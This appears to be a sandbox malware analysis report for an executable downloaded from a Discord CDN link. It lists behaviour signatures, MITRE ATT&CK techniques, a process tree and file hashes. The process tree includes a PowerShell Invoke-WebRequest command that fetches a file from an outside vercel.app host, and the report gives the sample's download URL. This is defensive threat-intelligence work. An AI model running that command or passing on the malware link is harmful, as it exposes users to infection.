hxxps://cdn[.]discordapp[.]com/ephemeral-attachments/1275613666225557524/1277159644758016000/6689B734CAAD[.]exe?ex=66cc271b&is=66cad59b&hm=c0aa2dc0f1378575e02cb41475bcfdf521b2d9a89bdb3ebd5a700964225f7231&

Analysis

max time kernel
95s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
25/08/2024, 06:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://cdn.discordapp.com/ephemeral-attachments/1275613666225557524/1277159644758016000/6689B734CAAD.exe?ex=66cc271b&is=66cad59b&hm=c0aa2dc0f1378575e02cb41475bcfdf521b2d9a89bdb3ebd5a700964225f7231&
Sample240825-hqya2sseqm

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
41	5148	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5148	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6689B734CAAD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6689B734CAAD.exe

Executes dropped EXE 1 IoCs

pid	Process
5820	6689B734CAAD.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\6689B734CAAD.exe:Zone.Identifier	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 647528.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\6689B734CAAD.exe:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1360	msedge.exe
1360	msedge.exe
2852	msedge.exe
2852	msedge.exe
3940	identity_helper.exe
3940	identity_helper.exe
1976	msedge.exe
1976	msedge.exe
960	msedge.exe
960	msedge.exe
5148	powershell.exe
5148	powershell.exe
5820	6689B734CAAD.exe
5820	6689B734CAAD.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5148	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe
2852	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5820	6689B734CAAD.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2852 wrote to memory of 3984	2852	msedge.exe	79
PID 2852 wrote to memory of 3984	2852	msedge.exe	79
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 2904	2852	msedge.exe	80
PID 2852 wrote to memory of 1360	2852	msedge.exe	81
PID 2852 wrote to memory of 1360	2852	msedge.exe	81
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82
PID 2852 wrote to memory of 5332	2852	msedge.exe	82

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/ephemeral-attachments/1275613666225557524/1277159644758016000/6689B734CAAD.exe?ex=66cc271b&is=66cad59b&hm=c0aa2dc0f1378575e02cb41475bcfdf521b2d9a89bdb3ebd5a700964225f7231&
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd45b33cb8,0x7ffd45b33cc8,0x7ffd45b33cd8
  2⤵
  PID:3984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1832 /prefetch:2
  2⤵
  PID:2904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2608 /prefetch:8
  2⤵
  PID:5332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:1
  2⤵
  PID:5328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:1
  2⤵
  PID:5704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4828 /prefetch:1
  2⤵
  PID:2168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5392 /prefetch:8
  2⤵
  PID:3776
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5696 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5808 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5808 /prefetch:1
  2⤵
  PID:5880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5816 /prefetch:1
  2⤵
  PID:5996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4944 /prefetch:1
  2⤵
  PID:1776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
  2⤵
  PID:5228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4640 /prefetch:1
  2⤵
  PID:4284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:1
  2⤵
  PID:1848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4716 /prefetch:1
  2⤵
  PID:4188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1720 /prefetch:1
  2⤵
  PID:3880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6228 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:960
- C:\Users\Admin\Downloads\6689B734CAAD.exe
  "C:\Users\Admin\Downloads\6689B734CAAD.exe"
  2⤵
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://wow-bams.vercel.app/fc54f47048e8d154178961ab383301e0521fa332e47782936e2247fd679637c3.txt' -OutFile 'response.txt'"
    3⤵
    PID:1596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://wow-bams.vercel.app/fc54f47048e8d154178961ab383301e0521fa332e47782936e2247fd679637c3.txt' -OutFile 'response.txt'"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c pause
    3⤵
    PID:1948

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5652

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 593f20dfb73d2b81a17bfcc1f246848080dfc96898a1a62c5ddca62105ed1292
MD5 026e0c65239e15ba609a874aeac2dc33
SHA1 a75e1622bc647ab73ab3bb2809872c2730dcf2df
SHA512 9fb7644c87bdd3430700f42137154069badbf2b7a67e5ac6c364382bca8cba95136d460f49279b346703d4b4fd81087e884822a01a2a38901568a3c3e3387569
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 448d09169319374935a249b1fc76bcf2430b4e1436611f3c2f3331b6eafe55a2
MD5 228fefc98d7fb5b4e27c6abab1de7207
SHA1 ada493791316e154a906ec2c83c412adf3a7061a
SHA512 fa74f1cc5da8db978a7a5b8c9ebff3cd433660db7e91ce03c44a1d543dd667a51659ba79270d3d783d52b9e45d76d0f9467458df1482ded72ea79c873b2a5e56
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 456B
SHA256 45ddcc8256b3dadbb634e8bbf4fbf1b0992d6bf518a6951ae0a96c3e0bb518b9
MD5 0439eadf8b1d14357cea1bffa8734ee8
SHA1 9487d91fe5624b5402839a8850554d9df6f78e75
SHA512 94e356b526f4c377e98471b7ee0dca256004cbab889a4b6ebd57b1a0dc0a59a91c1f4a00b5bdf506cf2d7f4554b3be0da7804477a1513ce4680a4e04a1d69ff0
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Size 186B
SHA256 ef1739b833a1048ee1bd55dcbac5b1397396faca1ad771f4d6c2fe58899495a3
MD5 094ab275342c45551894b7940ae9ad0d
SHA1 2e7ce26fe2eb9be641ae929d0c9cc0dfa26c018e
SHA512 19d0c688dc1121569247111e45de732b2ab86c71aecdde34b157cfd1b25c53473ed3ade49a97f8cb2ddc4711be78fa26c9330887094e031e9a71bb5c29080b0d
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 b589b06119668d1fb90f2d4de797ceba8b0aaf11c39a7ec5c6bd3ad07380dce5
MD5 eeef3b3d758ce594be0c39169852392e
SHA1 597c49ec1f64c30015c30bdc28aed91041b74a61
SHA512 0933b6243d9c11f1e84e2283a13f114460b200c2b63a83e87242cf051321b820752ecc92ab01f6a71410de9937076a8d9646b2b14ecd62b706b97321e2e86481
SSDEEP 96:nUk3XuUySk1wSv0MoiVmdHIEJJN0WQyV+VuziX3wI3:nUk3XFXk1v0MAIANLM93
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 71f47e556e77fe23168f248ca61c82cdd2caf557c69bda15c721d750b6b2959a
MD5 d69a7d5d8e04197b5ad6a400348c9ed9
SHA1 470b09c1ad754ef28d37a49ce63a7ab31291119a
SHA512 bcac7788f4eb87530dba935e6159a20a40307af8593cfe4469884bd2601bbe4079cee43cbe2a3fd2be29f5d997201f7f31c9a3908fc2f93621508c75eec28769
SSDEEP 96:nUk3XuUySklwSv0MoiMyR5mdHIE6JN0WQyV+VpAiX3wI3:nUk3XFXklv0MRqIzNLe93
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 ab31ca473bb70f26b492d6ec76c8134c5db9599c3125ea5c75a2de4f4474f8e7
MD5 314d3366ad7341900f57bcd4d26a5716
SHA1 c96b2bb80c6e0757b9761d0888d09318b752e5c0
SHA512 d5b73481312b6614a64c65b0866eda999c0d9729abe169e4b589f431502f52e9d53d94547d962919813a64eb733fefbe3c46659bc0a40ea86529908e09b7c6b1
SSDEEP 96:nUk3XuUySk1wSv0MoiVmdHIEJJN0WQyV+VpAiX3wI3:nUk3XFXk1v0MAIANLe93
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
MD5 206702161f94c5cd39fadd03f4014d98
SHA1 bd8bfc144fb5326d21bd1531523d9fb50e1b600a
SHA512 0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 a66789e297be46afca67783b561ea920e87f4fb4a1b0e28fe1f3f5adcc628878
MD5 d9f2833aaabd7f37b705e8e999f7bc6d
SHA1 a4ab3b8f92c1a48c5e869f6f01171b98c9747a3f
SHA512 930f60de67071bb5ac717fcea33857cf9471aee84b060bf4408dd3d27a5bedaef86c91f35e6c73ef717ae9c9169ac6462f9d12ca50e8499adba24ef0205afc9d
SSDEEP 192:coCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxASGzKanD2e2RU2NRIOWHXN8CLSw:M9iIxuERzA83h09RZxASGBnUPBWHXN3B
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 9a90741e312148d316ed93a291b8c1d70456ae8fcdc7e1f720adeeed07f2f392
MD5 4ec32cc1672aef075f174045ab618b32
SHA1 17ed9865a478d223ee7c24d28be363780d2582cf
SHA512 df0bf4fe89a3e18ab370b6ee473c6a423d80b62faa498e52d3c0a980928dde964e67f84cb8c8c1a8d9776d97d6ea46e4ab6a04896e991a5532ce7be12a4646c1
SSDEEP 192:IoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxASGzKanDHe2RU2NSOSzXnN8CLSw:w9iIxuERzA83h09RZxASGBnLPN8zXnNx
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_aj12xbqe.ro4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aj12xbqe.ro4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

6689B734CAAD.exe:Zone.Identifier

Path C:\Users\Admin\Downloads\6689B734CAAD.exe:Zone.Identifier
Size 26B
SHA256 eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913
MD5 fbccf14d504b7b2dbcb5a5bda75bd93b
SHA1 d59fc84cdd5217c6cf74785703655f78da6b582b
SHA512 aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98
MD5 SHA1 SHA512

Submit Download

Unconfirmed 647528.crdownload

Path C:\Users\Admin\Downloads\Unconfirmed 647528.crdownload
Size 3.2MB
SHA256 ae461872b930bb01c8773039fd1def155bdec5561813d148b25b699fca9a85ec
MD5 d7887dde6484ccfeb738a88febda00cb
SHA1 4b842c8ed53d6c8e11b4764508434f3254e4bf0a
SHA512 ed9f9add6a2b8774ce2ac1b28b562e64b8ef1f2b0e22bfe35582df0b42b8dd5fc778d7ac2cdce53d9158735cf5e63d2a952d4b27ff81eef9bbf4d297e4f7852a
SSDEEP 49152:mWODa+oT1hDnbwR/NNfx9eVRKGgmCN+0Tq7/UJXDnwW+cNUfC9TDS9R:mJqXnW/NCkN+0TWoXbBd9Ten
MD5 SHA1 SHA512 SSDEEP

Submit Download

response.txt

Path C:\Users\Admin\Downloads\response.txt
Size 5B
SHA256 b79477a2ba5ca2498dcd7896a2668cbce929f6ac8744bde79138275495d27104
MD5 4dbe593a8ff4d0a2b1a9f2ba554e210e
SHA1 6132cfdf21d5778a8636600211819ad58c6757e4
SHA512 308f77041e2541d5dcc43957378bbacb184a5e3ba96607f988207822e0f23d21eddfaf6dc8ec8a9287640c982ab629ef1c3c235514e44eef3c2bd32bc8548d6c
MD5 SHA1 SHA512

Submit Download

memory/5148-216-0x000002C6555A0000-0x000002C6555C2000-memory.dmp

Download

memory/5820-210-0x00007FF7BFAA0000-0x00007FF7C0358000-memory.dmp

Download

memory/5820-234-0x00007FF7BFAA0000-0x00007FF7C0358000-memory.dmp

Download